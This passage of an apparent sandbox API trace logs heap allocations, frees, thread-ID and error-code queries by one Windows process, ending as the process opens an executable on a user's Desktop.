Size=0x10) returned 0x2ca7f50 [0074.907] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af30 | out: hHeap=0x2ad0000) returned 1 [0074.907] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0074.907] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8100 | out: hHeap=0x2ad0000) returned 1 [0074.907] GetCurrentThreadId () returned 0x9b0 [0074.907] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0074.907] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8100, Size=0x20) returned 0x2a1fbf0 [0074.907] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0074.907] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80a0 [0074.907] GetCurrentThreadId () returned 0x9b0 [0074.907] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x2a19ab8 [0074.907] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x2a195e8 [0074.907] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19ab8 | out: hHeap=0x2ad0000) returned 1 [0074.907] GetCurrentThreadId () returned 0x9b0 [0074.908] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a20108 [0074.908] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0074.908] GetCurrentThreadId () returned 0x9b0 [0074.908] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0074.908] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8100 | out: hHeap=0x2ad0000) returned 1 [0074.908] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2cbc4b8 [0074.908] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc4b8 | out: hHeap=0x2ad0000) returned 1 [0074.908] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f858 [0074.908] GetLastError () returned 0x0 [0074.908] GetLastError () returned 0x0 [0074.908] GetLastError () returned 0x0 [0074.908] GetLastError () returned 0x0 [0074.908] GetLastError () returned 0x0 [0074.909] GetLastError () returned 0x0 [0074.909] GetCurrentThreadId () returned 0x9b0 [0074.909] GetLastError () returned 0x0 [0074.909] GetLastError () returned 0x0 [0074.909] GetLastError () returned 0x0 [0074.909] GetLastError () returned 0x0 [0074.909] GetLastError () returned 0x0 [0074.909] GetLastError () returned 0x0 [0074.909] GetLastError () returned 0x0 [0074.909] GetLastError () returned 0x0 [0074.909] GetLastError () returned 0x0 [0074.909] GetLastError () returned 0x0 [0074.909] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f858 | out: hHeap=0x2ad0000) returned 1 [0074.909] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0074.909] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20108 | out: hHeap=0x2ad0000) returned 1 [0074.909] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fbf0, Size=0x58) returned 0x2aa2978 [0074.909] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca80a0 | out: hHeap=0x2ad0000) returned 1 [0074.909] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c37500 | out: hHeap=0x2ad0000) returned 1 [0074.909] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0074.909] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f38 [0074.909] GetCurrentThreadId () returned 0x9b0 [0074.909] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x2a199d8 [0074.910] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x2a197a8 [0074.910] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a199d8 | out: hHeap=0x2ad0000) returned 1 [0074.910] GetCurrentThreadId () returned 0x9b0 [0074.910] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a1ffb8 [0074.910] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0074.910] GetCurrentThreadId () returned 0x9b0 [0074.910] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0074.910] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8100 | out: hHeap=0x2ad0000) returned 1 [0074.910] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2cbc4b8 [0074.910] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc4b8 | out: hHeap=0x2ad0000) returned 1 [0074.910] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fbf0 [0074.910] GetLastError () returned 0x0 [0074.910] GetLastError () returned 0x0 [0074.910] GetLastError () returned 0x0 [0074.910] GetLastError () returned 0x0 [0074.910] GetCurrentThreadId () returned 0x9b0 [0074.910] GetLastError () returned 0x0 [0074.910] GetLastError () returned 0x0 [0074.910] GetLastError () returned 0x0 [0074.910] GetLastError () returned 0x0 [0074.910] GetLastError () returned 0x0 [0074.910] GetLastError () returned 0x0 [0074.911] GetLastError () returned 0x0 [0074.911] GetLastError () returned 0x0 [0074.911] GetLastError () returned 0x0 [0074.911] GetLastError () returned 0x0 [0074.911] GetLastError () returned 0x0 [0074.911] GetLastError () returned 0x0 [0074.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fbf0 | out: hHeap=0x2ad0000) returned 1 [0074.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0074.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffb8 | out: hHeap=0x2ad0000) returned 1 [0074.911] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aa2978, Size=0x94) returned 0x2cbacf8 [0074.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f38 | out: hHeap=0x2ad0000) returned 1 [0074.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f858 | out: hHeap=0x2ad0000) returned 1 [0074.911] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8ae90 [0074.911] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8aea0 [0074.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ae90 | out: hHeap=0x2ad0000) returned 1 [0074.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30fba68 | out: hHeap=0x2ad0000) returned 1 [0074.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19250 | out: hHeap=0x2ad0000) returned 1 [0074.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f50 | out: hHeap=0x2ad0000) returned 1 [0074.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbacf8 | out: hHeap=0x2ad0000) returned 1 [0074.911] GetCurrentThreadId () returned 0x9b0 [0074.911] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30f9bc8 [0074.912] GetCurrentThreadId () returned 0x9b0 [0074.912] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80a0 [0074.912] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8ae90 [0074.912] GetCurrentThreadId () returned 0x9b0 [0074.912] GetCurrentThreadId () returned 0x9b0 [0074.912] GetCurrentThreadId () returned 0x9b0 [0074.912] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca80a0, Size=0x20) returned 0x2a1fbf0 [0074.912] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80a0 [0074.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ae90 | out: hHeap=0x2ad0000) returned 1 [0074.912] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f38 [0074.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f38 | out: hHeap=0x2ad0000) returned 1 [0074.912] GetCurrentThreadId () returned 0x9b0 [0074.912] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0074.912] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8100, Size=0x20) returned 0x2a1f858 [0074.912] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0074.912] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0074.912] GetCurrentThreadId () returned 0x9b0 [0074.912] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x70) returned 0x2cd0b80 [0074.912] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x104) returned 0x2a1a6b8 [0074.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd0b80 | out: hHeap=0x2ad0000) returned 1 [0074.912] GetCurrentThreadId () returned 0x9b0 [0074.913] GetCurrentThreadId () returned 0x9b0 [0074.913] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f50 [0074.913] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f50 | out: hHeap=0x2ad0000) returned 1 [0074.913] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2cbc4b8 [0074.913] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc4b8 | out: hHeap=0x2ad0000) returned 1 [0074.913] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2c374d8 [0074.913] GetLastError () returned 0x0 [0074.913] GetLastError () returned 0x0 [0074.913] GetLastError () returned 0x0 [0074.913] GetLastError () returned 0x0 [0074.913] GetLastError () returned 0x0 [0074.913] GetCurrentThreadId () returned 0x9b0 [0074.913] GetLastError () returned 0x0 [0074.913] GetLastError () returned 0x0 [0074.913] GetLastError () returned 0x0 [0074.913] GetLastError () returned 0x0 [0074.913] GetLastError () returned 0x0 [0074.913] GetLastError () returned 0x0 [0074.913] GetLastError () returned 0x0 [0074.913] GetLastError () returned 0x0 [0074.913] GetLastError () returned 0x0 [0074.913] GetLastError () returned 0x0 [0074.914] GetLastError () returned 0x0 [0074.914] GetLastError () returned 0x0 [0074.914] GetLastError () returned 0x0 [0074.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c374d8 | out: hHeap=0x2ad0000) returned 1 [0074.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0074.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0074.914] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f858, Size=0x58) returned 0x2aa2c78 [0074.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8100 | out: hHeap=0x2ad0000) returned 1 [0074.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c37190 | out: hHeap=0x2ad0000) returned 1 [0074.914] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0074.914] GetCurrentThreadId () returned 0x9b0 [0074.914] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f38 [0074.914] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x70) returned 0x2cd0b80 [0074.914] GetCurrentThreadId () returned 0x9b0 [0074.914] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x104) returned 0x2a1a6b8 [0074.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd0b80 | out: hHeap=0x2ad0000) returned 1 [0074.914] GetCurrentThreadId () returned 0x9b0 [0074.914] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0074.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8100 | out: hHeap=0x2ad0000) returned 1 [0074.914] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2cbc4b8 [0074.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc4b8 | out: hHeap=0x2ad0000) returned 1 [0074.914] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f858 [0074.915] GetCurrentThreadId () returned 0x9b0 [0074.915] GetLastError () returned 0x0 [0074.915] GetLastError () returned 0x0 [0074.915] GetLastError () returned 0x0 [0074.915] GetLastError () returned 0x0 [0074.915] GetLastError () returned 0x0 [0074.915] GetLastError () returned 0x0 [0074.915] GetLastError () returned 0x0 [0074.915] GetLastError () returned 0x0 [0074.915] GetLastError () returned 0x0 [0074.915] GetLastError () returned 0x0 [0074.915] GetLastError () returned 0x0 [0074.915] GetLastError () returned 0x0 [0074.915] GetLastError () returned 0x0 [0074.915] GetLastError () returned 0x0 [0074.915] GetLastError () returned 0x0 [0074.915] GetLastError () returned 0x0 [0074.915] GetLastError () returned 0x0 [0074.915] GetLastError () returned 0x0 [0074.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f858 | out: hHeap=0x2ad0000) returned 1 [0074.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0074.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0074.916] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aa2c78, Size=0x94) returned 0x2cbacf8 [0074.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f38 | out: hHeap=0x2ad0000) returned 1 [0074.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c37708 | out: hHeap=0x2ad0000) returned 1 [0074.916] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8afb0 [0074.916] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b010 [0074.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afb0 | out: hHeap=0x2ad0000) returned 1 [0074.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30f9bc8 | out: hHeap=0x2ad0000) returned 1 [0074.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fbf0 | out: hHeap=0x2ad0000) returned 1 [0074.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca80a0 | out: hHeap=0x2ad0000) returned 1 [0074.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbacf8 | out: hHeap=0x2ad0000) returned 1 [0074.916] GetCurrentThreadId () returned 0x9b0 [0074.916] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a97bf0 [0074.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30fa060 | out: hHeap=0x2ad0000) returned 1 [0074.916] GetCurrentThreadId () returned 0x9b0 [0074.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0074.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0074.916] GetCurrentThreadId () returned 0x9b0 [0074.916] GetCurrentThreadId () returned 0x9b0 [0074.916] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0074.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0074.916] GetCurrentThreadId () returned 0x9b0 [0074.916] GetCurrentThreadId () returned 0x9b0 [0074.917] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0074.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0074.917] GetCurrentThreadId () returned 0x9b0 [0074.917] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30f9a40 [0074.917] GetCurrentThreadId () returned 0x9b0 [0074.917] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30f9730 [0074.917] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a93998 [0074.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30f9730 | out: hHeap=0x2ad0000) returned 1 [0074.917] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a969d8 [0074.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbd230 | out: hHeap=0x2ad0000) returned 1 [0074.917] GetCurrentThreadId () returned 0x9b0 [0074.917] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30f98b8 [0074.917] GetCurrentThreadId () returned 0x9b0 [0074.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c2e5a0 | out: hHeap=0x2ad0000) returned 1 [0074.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0074.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0074.917] GetCurrentThreadId () returned 0x9b0 [0074.917] GetCurrentThreadId () returned 0x9b0 [0074.917] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0074.918] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0074.918] GetCurrentThreadId () returned 0x9b0 [0074.918] GetCurrentThreadId () returned 0x9b0 [0074.918] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0074.918] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0074.918] GetCurrentThreadId () returned 0x9b0 [0074.918] GetCurrentThreadId () returned 0x9b0 [0074.918] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fafb0 [0074.918] GetCurrentThreadId () returned 0x9b0 [0074.918] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f80 [0074.918] GetCurrentThreadId () returned 0x9b0 [0074.918] GetCurrentThreadId () returned 0x9b0 [0074.918] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca7f80, Size=0x20) returned 0x2a1fbf0 [0074.918] GetCurrentThreadId () returned 0x9b0 [0074.918] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fbf0, Size=0x40) returned 0x2a19130 [0074.918] GetCurrentThreadId () returned 0x9b0 [0074.918] GetCurrentThreadId () returned 0x9b0 [0074.918] GetCurrentThreadId () returned 0x9b0 [0074.918] GetCurrentThreadId () returned 0x9b0 [0074.918] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f38 [0074.918] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8148 [0074.918] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8148 | out: hHeap=0x2ad0000) returned 1 [0074.919] GetCurrentThreadId () returned 0x9b0 [0074.919] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80a0 [0074.919] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca80a0, Size=0x20) returned 0x2a1fbf0 [0074.919] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0074.919] GetCurrentThreadId () returned 0x9b0 [0074.919] GetCurrentThreadId () returned 0x9b0 [0074.919] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8148 [0074.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8148 | out: hHeap=0x2ad0000) returned 1 [0074.919] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2cbc4b8 [0074.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc4b8 | out: hHeap=0x2ad0000) returned 1 [0074.919] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f858 [0074.919] GetLastError () returned 0x0 [0074.919] GetLastError () returned 0x0 [0074.919] GetLastError () returned 0x0 [0074.919] GetLastError () returned 0x0 [0074.919] GetLastError () returned 0x0 [0074.919] GetLastError () returned 0x0 [0074.919] GetLastError () returned 0x0 [0074.919] GetLastError () returned 0x0 [0074.919] GetLastError () returned 0x0 [0074.919] GetLastError () returned 0x0 [0074.919] GetLastError () returned 0x0 [0074.920] GetLastError () returned 0x0 [0074.920] GetLastError () returned 0x0 [0074.920] GetLastError () returned 0x0 [0074.920] GetLastError () returned 0x0 [0074.920] GetLastError () returned 0x0 [0074.920] GetLastError () returned 0x0 [0074.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f858 | out: hHeap=0x2ad0000) returned 1 [0074.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f50 [0074.920] GetCurrentThreadId () returned 0x9b0 [0074.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0074.920] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fbf0, Size=0x54) returned 0x2aa2c78 [0074.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f50 | out: hHeap=0x2ad0000) returned 1 [0074.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c37370 | out: hHeap=0x2ad0000) returned 1 [0074.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0074.920] GetCurrentThreadId () returned 0x9b0 [0074.920] GetCurrentThreadId () returned 0x9b0 [0074.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f50 [0074.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f50 | out: hHeap=0x2ad0000) returned 1 [0074.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2cbc4b8 [0074.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc4b8 | out: hHeap=0x2ad0000) returned 1 [0074.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fbf0 [0074.921] GetLastError () returned 0x0 [0074.921] GetLastError () returned 0x0 [0074.921] GetLastError () returned 0x0 [0074.921] GetLastError () returned 0x0 [0074.921] GetLastError () returned 0x0 [0074.921] GetLastError () returned 0x0 [0074.921] GetLastError () returned 0x0 [0074.921] GetLastError () returned 0x0 [0074.921] GetLastError () returned 0x0 [0074.921] GetLastError () returned 0x0 [0074.921] GetLastError () returned 0x0 [0074.921] GetLastError () returned 0x0 [0074.921] GetLastError () returned 0x0 [0074.921] GetLastError () returned 0x0 [0074.921] GetLastError () returned 0x0 [0074.921] GetLastError () returned 0x0 [0074.921] GetLastError () returned 0x0 [0074.921] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fbf0 | out: hHeap=0x2ad0000) returned 1 [0074.921] GetCurrentThreadId () returned 0x9b0 [0074.921] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8148 [0074.921] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0074.921] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aa2c78, Size=0x8c) returned 0x2ac0450 [0074.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8148 | out: hHeap=0x2ad0000) returned 1 [0074.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f858 | out: hHeap=0x2ad0000) returned 1 [0074.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b040 [0074.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af30 [0074.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b040 | out: hHeap=0x2ad0000) returned 1 [0074.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30fafb0 | out: hHeap=0x2ad0000) returned 1 [0074.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19130 | out: hHeap=0x2ad0000) returned 1 [0074.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f38 | out: hHeap=0x2ad0000) returned 1 [0074.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0450 | out: hHeap=0x2ad0000) returned 1 [0074.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30f9bc8 [0074.922] GetCurrentThreadId () returned 0x9b0 [0074.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a945a8 [0074.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30f9bc8 | out: hHeap=0x2ad0000) returned 1 [0074.922] GetCurrentThreadId () returned 0x9b0 [0074.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0074.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0074.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0074.922] GetCurrentThreadId () returned 0x9b0 [0074.922] GetCurrentThreadId () returned 0x9b0 [0074.922] GetCurrentThreadId () returned 0x9b0 [0074.922] GetCurrentThreadId () returned 0x9b0 [0074.923] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0074.923] GetCurrentThreadId () returned 0x9b0 [0074.923] GetCurrentThreadId () returned 0x9b0 [0074.923] GetCurrentThreadId () returned 0x9b0 [0074.923] GetLastError () returned 0x0 [0074.923] GetLastError () returned 0x0 [0074.923] GetLastError () returned 0x0 [0074.923] GetLastError () returned 0x0 [0074.923] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f38 | out: hHeap=0x2ad0000) returned 1 [0074.923] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8af80 [0074.923] GetLastError () returned 0x0 [0074.923] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b90e8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0074.923] GetFileType (hFile=0x1ec) returned 0x1 [0074.923] GetLastError () returned 0x0 [0074.923] GetCurrentThreadId () returned 0x9b0 [0074.923] 